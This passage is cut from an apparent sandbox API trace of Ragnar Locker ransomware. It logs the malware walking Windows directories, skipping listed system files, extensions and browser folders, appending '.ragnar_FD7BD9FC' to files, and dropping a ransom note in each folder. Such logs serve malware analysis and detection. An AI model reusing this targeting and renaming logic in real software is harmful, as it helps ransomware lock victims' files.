nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0056.389] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2=".") returned 1 [0056.389] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="..") returned 1 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d8c780, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73d8c780, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.389] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.389] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0056.389] lstrcmpiW (lpString1="symbase.xml", lpString2=".") returned 1 [0056.389] lstrcmpiW (lpString1="symbase.xml", lpString2="..") returned 1 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0056.389] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.389] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73db28e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73db28e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73db28e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73db28e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0056.389] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.389] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="ea-sym.xml" | out: lpString1="ea-sym.xml") returned="ea-sym.xml" [0056.390] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned=".xml" [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="autorun.inf") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="boot.ini") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="bootfont.bin") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="bootsect.bak") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="bootmgr") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="bootmgr.efi") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="bootmgfw.efi") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="desktop.ini") returned 1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="iconcache.db") returned -1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="ntldr") returned -1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="ntuser.dat") returned -1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="ntuser.dat.log") returned -1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="ntuser.ini") returned -1 [0056.390] lstrcmpiW (lpString1="ea-sym.xml", lpString2="thumbs.db") returned -1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.390] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0056.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.391] CloseHandle (hObject=0xffffffff) returned 0 [0056.391] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" [0056.391] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.ragnar_FD7BD9FC" [0056.391] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.391] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0056.391] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.391] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="ja-jp-sym.xml" | out: lpString1="ja-jp-sym.xml") returned="ja-jp-sym.xml" [0056.391] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned=".xml" [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="autorun.inf") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="boot.ini") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="bootfont.bin") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="bootsect.bak") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="bootmgr") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="bootmgr.efi") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="bootmgfw.efi") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="desktop.ini") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="iconcache.db") returned 1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="ntldr") returned -1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="ntuser.dat") returned -1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="ntuser.dat.log") returned -1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="ntuser.ini") returned -1 [0056.391] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="thumbs.db") returned -1 [0056.391] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.391] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.392] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.392] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.392] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.392] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.392] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0056.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.395] CloseHandle (hObject=0xffffffff) returned 0 [0056.395] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" [0056.395] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.ragnar_FD7BD9FC" [0056.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.395] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d8c780, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73d8c780, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.395] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.395] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.395] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0056.395] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.395] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="symbase.xml" | out: lpString1="symbase.xml") returned="symbase.xml" [0056.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned=".xml" [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="autorun.inf") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="boot.ini") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="bootfont.bin") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="bootsect.bak") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="bootmgr") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="bootmgr.efi") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="bootmgfw.efi") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="desktop.ini") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="iconcache.db") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="ntldr") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="ntuser.dat") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="ntuser.dat.log") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="ntuser.ini") returned 1 [0056.396] lstrcmpiW (lpString1="symbase.xml", lpString2="thumbs.db") returned -1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.396] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0056.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.396] CloseHandle (hObject=0xffffffff) returned 0 [0056.396] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" [0056.396] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.ragnar_FD7BD9FC" [0056.397] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.397] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0056.397] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.397] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0056.397] lstrcmpiW (lpString1="symbols.xml", lpString2=".") returned 1 [0056.397] lstrcmpiW (lpString1="symbols.xml", lpString2="..") returned 1 [0056.397] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2=".") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="..") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Windows") returned -1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Windows.old") returned -1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Tor browser") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Internet Explorer") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Google") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Opera") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Opera Software") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Mozilla") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="Mozilla Firefox") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="$Recycle.Bin") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="ProgramData") returned 1 [0056.397] lstrcmpiW (lpString1="web", lpString2="All Users") returned 1 [0056.397] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.397] lstrcpyW (in: lpString1=0x1eab72, lpString2="web" | out: lpString1="web") returned="web" [0056.397] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\" [0056.397] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\" [0056.397] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\RGNR_FD7BD9FC.txt" [0056.397] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.748] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*" [0056.750] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4c [0056.750] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.750] lstrcpyW (in: lpString1=0x1e9c8e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73dd8a40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 